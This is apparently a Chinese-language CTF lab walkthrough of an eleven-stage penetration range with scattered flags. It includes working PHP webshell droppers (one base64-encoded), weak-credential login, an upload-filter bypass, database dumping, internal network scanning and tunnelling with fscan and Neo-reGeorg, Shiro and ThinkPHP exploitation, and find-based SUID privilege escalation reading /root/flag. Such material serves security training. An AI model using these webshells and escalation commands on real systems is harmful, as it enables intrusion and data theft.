<?php
fputs(fopen("shell.php","w"),'<?php eval($_POST[123]);?>');
?>

<?php
system("echo PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== | base64 -d >hello.php & ls");
# <?php @eval($_POST[1]);?>
?>

场景1

进来之后发现是这这也一个知识学习网站。我们打开源代码可以获得第一个flag。

img

img

场景2

姿势1

其实这种运行环境都确实可以执行我们运行的命令或者脚本,我们可以在这里尝试运行写入。

<?php
fputs(fopen("shell.php","w"),'<?php eval($_POST[123]);?>');
?>

img

img

img

img

姿势2

这里后台拿shell才是预期解。因为提示了需要admin,这里弱口令。

admin:admin

img

后台配置这里可以拿到第二个flag。预期解就是通过后台这里文件上传shell。

img

img

首先尝试上传php但是返回说后缀为空,说明这里过滤有可能就是替换为空,那我们尝试双写发现这里说不支持该后缀,然后在上面发现可以修改文件上传的后缀。

img

img

在这里添加上php文件。

img

img

img

提交保存后再上传发现上传成功。这里就获得shell了。

img

img

场景3

连接上shell之后进入用户目录内可以拿到第三个flag

img

场景4

姿势1

第四个flag提示在数据库,我们可以取翻一下这里数据库配置文件

/var/www/html/app/database.php

img

这里蚁剑是有数据库管理工具的,但是!很垃圾。用不了。

img

img

img

所以这里可以采取另一种方式,直接导出数据库内容。

img

mysqldump -uroot -proot flag > flag.sql

img

img

姿势2

我们这里下载一个冰蝎。

Release Behinder_v4.0.5 · rebeyond/Behinder (github.com)

img

这里需要使用java8环境运行。

点击这个传输协议

img

img

img

img

保存之后,我们进入生成木马的目录。

img

img

之前因为我们已经连接了蚁剑,那么我们这里就可以直接将这个文件上传上去。

这里传输协议就选我们生成的木马类型,这里不需要填密码,因为密码默认在马中存在。

img

连接成功默认弹出phpinfo页面。

这里我们就可以进入数据库管理,这里修改一下这里的连接字符串。

img

img

场景5

这个提示nc和root

这里考的是pwn

先跳过。

场景6

这里我们可以先看一下本机的ip配置

img

发现这里其实还存在一个内网的ip网卡。

/etc/hosts
linux 的/etc/hosts是配置ip地址和其对应主机名的文件,这里可以记录本机的或其他主机的ip及其对应主机名。

权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况
/proc/net/arp :arp缓存列表
/etc/network/interfaces :网卡配置

img

这里我们可以把我们的fscan传入进去扫描一下。

这里需要上传fscan的linux版本。

Release fscan 1.8.1 · shadow1ng/fscan (github.com)

我这里改了一下名字。

img

img

首先给fscan加个权限

chmod 777 fscan_linux
然后执行fscan扫描192.168.0网段,将结果输出到result.txt内
./fscan_linux -h 192.168.0.0/24 -o result.txt

img

img

这里可以发现在192.168.0.01和192.168.3这两台都开放了8080端口,在最初的扫描中我们发现其实本机也是开启了8080端口。

在这个扫描结果中我们发现了漏洞的情况。

[+] http://192.168.0.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] http://192.168.0.1:8080/ poc-yaml-shiro-key [{mode cbc} {key kPH+bIxk5D2deZiIxcaaaA==}]
[+] http://192.168.0.4 poc-yaml-thinkphp5023-method-rce poc1

这里192.168.0.3和192.168.0.1两台主机都是存在shiro漏洞。并且key也爆出了。

192.168.0.4这台主机则存在thinkphp的漏洞。

那么这里的主要情况就是我们该如何去访问它,因为这个属于内网,我们是无法直接访问的。那么这里我们使用Neo-reGeorg工具进行内网穿透。

https://github.com/L-codes/Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg/releases/tag/v3.8.1

下载代码解压后。打开终端。

python neoreg.py generate -k password

img

img

在目录里会生成加密的脚本文件。

img

根据我们渗透的服务不同选择不同类型的脚本。

img

这里是php我们就上传php脚本。

img

是可以访问到的。

然后我们在本地进行连接。

python neoreg.py -k <已经设定的密钥> -u <http://xxx.xxx.xxx/tunnel.xxx> -p <prot>
(-p指定端口,默认为1080

img

Proxifier下载 Proxifier中文版(代理客户端) v4.0.1 中文汉化版 下载-脚本之家 (jb51.net)

这里再配合proxifier进行流量代理。

img

img

然后就可以直接进行访问了。这里在robots.txt拿到flag 后面提示为shiroimg

场景7

img

通过上面的特征我们确定了存在shiro,这里直接上工具测试。

img

img

img

flag{5235c752c27ceffef289e8cc3d78592b}

梭哈了。

场景8

这里再进行提权测试,查询suid命令。

find / -perm -4000 -type f 2>/dev/null

img

使用find提权

大致操作就是去一个有权限的文件夹(如/tmp)创建一个file,然后find file -exec whoami ;即可拿到root权限

touch 1;
find 1 -exec whoami \;

img

img

img

find 1 -exec ls /root/ \;

img

find 1 -exec cat /root/flag \;

img

flag{32868694aad674703235ef0db318b7bb}

场景9

然后进入最后一个靶机。这里前面通过fscan我们扫描出了tp5的漏洞。直接梭哈测试。

img

img

img

上传shell

img

在web目录拿到flag,这里提示又是数据库。

img

img

flag{c3b343bcca04783e981e6a4c67b4886e} Ps:database

场景10

这里不是root用户(root用户默认不允许外联),这里配置了代理之后我们可以直接使用navicat进行连接。

img

img

flag{128bdebe834ebcde06733775ccf8e7f9}

拿到flag

场景11

berdav/CVE-2021-4034: CVE-2021-4034 1day (github.com)

不想丸啦。我提权失败,真无语 花了我好几块。

算了。两个方式都失败了。假装成功了把。